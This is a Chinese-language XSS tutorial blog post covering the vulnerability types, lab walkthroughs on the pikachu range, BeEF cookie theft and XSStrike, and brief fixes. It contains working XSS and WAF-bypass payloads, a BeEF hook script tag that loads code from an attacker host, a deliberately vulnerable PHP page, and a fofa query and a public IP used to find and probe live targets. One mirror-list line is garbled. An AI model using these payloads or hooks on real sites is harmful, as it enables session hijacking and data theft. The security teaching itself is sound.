XSS漏洞简介与危害

XSS(跨站脚本攻击)是一种常见的网络安全漏洞,其危害性相当严重。简单来说,XSS攻击是通过在网页中插入恶意的脚本代码,从而利用了网页未经过滤的用户输入,使得攻击者能够在受害者的浏览器中执行恶意代码。

以下是XSS漏洞的一些危害:

  1. 盗取用户信息:攻击者可以利用XSS漏洞来窃取用户的敏感信息,比如用户名、密码、Cookie等。

  2. 会话劫持:通过窃取用户的Cookie信息,攻击者可以获取用户的身份认证信息,从而劫持用户的会话,实施各种恶意操作。

  3. 网页篡改:攻击者可以修改网页的内容,显示虚假信息,误导用户执行一些危险操作,比如转账、提交个人信息等。

  4. 恶意重定向:攻击者可以利用XSS漏洞将用户重定向到恶意网站,进一步进行钓鱼、安装恶意软件等操作。

  5. 针对其他用户的攻击:XSS攻击不仅影响受害者,还可能被用来攻击网站的其他用户,通过篡改网页内容或者执行恶意操作,危害更大。

为了防止XSS漏洞,开发者需要对用户输入进行严格的过滤和验证,确保任何插入到网页中的内容都是安全的。同时,使用一些安全性较高的编程技术和框架,如Content Security Policy(内容安全策略),也可以有效减少XSS攻击的风险。

XSS的类型

反射型XSS:

反射型跨站脚本攻击(Reflected Cross-Site Scripting,简称为反射型XSS)是一种常见的网络安全漏洞,它允许攻击者将恶意脚本注入到网页中,然后通过诱使用户访问包含这些恶意脚本的链接来触发执行。这种类型的攻击通常涉及向 Web 应用程序发送包含恶意脚本的链接,而一旦用户点击该链接,恶意脚本就会被执行,从而使攻击者能够窃取用户的信息,劫持会话,甚至控制用户的账户。

防范反射型XSS攻击的关键是对用户输入进行有效的过滤和验证,以确保不会将恶意脚本注入到网页中。常见的防御方法包括使用安全的编码来转义特殊字符(如 HTML 实体编码、JavaScript 字符串转义等),以及在接受用户输入时进行严格的输入验证和过滤。另外,采用内容安全策略(Content Security Policy,CSP)也是一种有效的防御手段,它可以限制网页中允许加载的资源来源,从而减少XSS攻击的成功率。

存储型XSS:

存储型跨站脚本攻击(Stored Cross-Site Scripting,简称为存储型XSS)是另一种常见的网络安全漏洞,它允许攻击者将恶意脚本存储在受影响的应用程序中的数据库或其他存储介质中。当其他用户访问包含这些恶意脚本的页面时,这些脚本会被从存储介质中检索并执行,从而导致类似反射型XSS的危害,例如窃取用户信息或控制用户会话。

防范存储型XSS攻击的关键在于有效地过滤和验证用户提交的数据,并确保在将其存储到数据库或其他介质之前进行适当的处理。类似于反射型XSS攻击,安全的输入验证、过滤和使用安全编码来转义特殊字符也是防御存储型XSS的重要方法。

此外,开发人员还应该实施严格的访问控制,限制用户对数据的访问权限,并定期审查应用程序的代码和安全设置,以及使用内容安全策略(Content Security Policy,CSP)来限制页面加载的资源来源,从而进一步减少存储型XSS攻击的成功率。

DOM 型XSS:

DOM 型跨站脚本攻击(DOM-based Cross-Site Scripting,简称为DOM型XSS)是一种特殊形式的跨站脚本攻击。与反射型XSS和存储型XSS不同,DOM型XSS并不涉及向服务器发送恶意代码,而是利用客户端(通常是浏览器)处理网页内容的方式来执行恶意脚本。

DOM型XSS攻击的原理是利用浏览器解析并执行网页中的JavaScript代码的特性。攻击者通过构造特定的恶意链接或者修改网页URL参数等方式,使得网页中的JavaScript代码在被解析执行时,触发了对于DOM的修改,从而导致恶意脚本被执行。

防范DOM型XSS攻击的关键是对用户输入进行有效的过滤和验证,以防止恶意代码被执行。开发人员应该遵循安全编码实践,包括对用户输入数据进行严格的验证、过滤和转义,以及避免直接将不受信任的输入数据插入到DOM结构中。另外,使用安全的JavaScript编码实践,如使用安全的API来处理用户输入,以及避免使用eval()等危险的函数,也是防范DOM型XSS攻击的重要手段。

在实施防御措施时,开发人员还应该密切关注并及时修补浏览器和框架的安全漏洞,以确保浏览器能够正确地执行网页中的JavaScript代码,并且及时更新并使用最新版本的浏览器和框架。

反射性xss

案例一

案例二

利用fofa.info进行搜索

"pikachu" && country="CN" && title="Get the pikachu"

发现有字符限制。

试试提示。

发现也没什么东西,就一张图片,那我们看看他的url。

我改了一下message的参数发现有不一样的结果,那就尝试把他的参数改成以下

124.221.165.6:8002/vul/xss/xss_reflected_get.php?message=<script>alert(1)</script>&submit=submit#

有弹窗说明这个页面有反射性xss漏洞。

流程

存储型xss

案例一

说明一下,存储型和反射性的区别是,存储型会经过数据库,会在数据库下保留数据,所以当你每次打开这个页面都会有弹窗。

等你再次点击存储型xss时就会有弹窗

我明明已经点过别的页面了,存储型xss漏洞的危害都比较大,属于高危漏洞的范畴了。

DOM型xss

案例一

点击这个what do you see?

发现什么都没有,那就试试这个恶意代码。

#' onclick="alert(1)"

弹窗了,说明成功了。

onclick是个事件处理

onclick="alert(1)" 是JavaScript中的一种事件处理方式,意思是当用户点击这个元素时(这里是空链接 #),会弹出一个简单的警告框显示数字 1

DOM型危害小是因为他不会和服务器交互。

XSS漏洞复现

具体需求里面填<script>alert(1)</script>

进入后台

使用beef

Beef-XSS 是一款功能强大的 「XSS 漏洞利用工具」,kali 自带,基于 Ruby 语言开发。

#阿里源

deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib

deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib

#中科大源

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

#清华大学源

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

#浙大源

deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

#东软大学源

deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib

deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib

#网易 Kali 

deb Index of /debian/ wheezy main non-free contrib

deb-src Index of /debian/ wheezy main non-free contrib

执行apt update,切换 root 用户,第一次启动记得设置密码,初次使用会让你设置密码,如果密码忘了,可以到/usr/share/beef-xss/config.yaml

beef-xss

   

访问地址http://ip地址:3000/ui/authentication

<script src="http:虚拟机的//ip地址 :3000/hook.js">

到后台看看。

<script src="http://虚拟机的ip地址 :3000/hook.js">

跳转页面

获得cookie。

拦截登录过程

复制 cookies 信息

要求

1.得有漏洞

2.浏览器版本

3.需要管理员登录

4.绕过各种waf防护

5.怎样让对方触发

XSS的绕过与修复

能正确注入。

开启waf

手工绕过

audio 标签

<audio src=x onerror=alert(47)>

<audio src=x onerror=prompt(1) ;>

<audio src=1 href=1 onerror=javascript:alert(1)></audio>

案例

video 标签

<video src=x onerror=prompt(1) ;>

<video src=x onerror=alert(48)>

button 标签

<button onfocus=alert(1) autofocus>

<button/onclick=alert(1) >xss</button>

加密算法

<details open οntοggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41))

XSStrike

waf绕过工具

参数

-h, --help

-u, --url

--data

-v, --verbose

-f, --file

-t, --threads

-l, --level  -t, --encode

--json

--path

--seeds

--fuzzer

--update

--timeout

--params

--crawl

--proxy

--blind

--skip

--skip-dom

--headers

-d, --delay

fuzz模糊查询

pip install -r  requirements.txt

探测

C:\Users\86188\Desktop\tool\XSStrike-master>python xsstrike.py -u

"http://localhost/1.php?x=1"

发现并没有 pyload 加载,原因是 1.php 并不是一个正确的 html 页面,修改 1.php 页面。

<!DOCTYPE html><html>

<head>







<title>欢迎来到</title>

</head>

<body>

<h1 align=center>欢迎</h1>

<?php

$xss = $_GET['x'] ;

echo $xss ;

?>

<center>测试 XSS</center>

</body>

</html>

测试

fuzz库下载地址

GitHub - tennc/fuzzdb: Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery.

修复

httponly

如果您在 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到 cookie  息,这样能有效的防止 XSS 攻击,但是并不能防止 xss 漏洞只能是防止 cookie 被盗取。

waf

修改输入,输出的验证。


该文章仅作为技术参考,请勿使用此技术从事违法犯罪行为,后果自负!!!

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐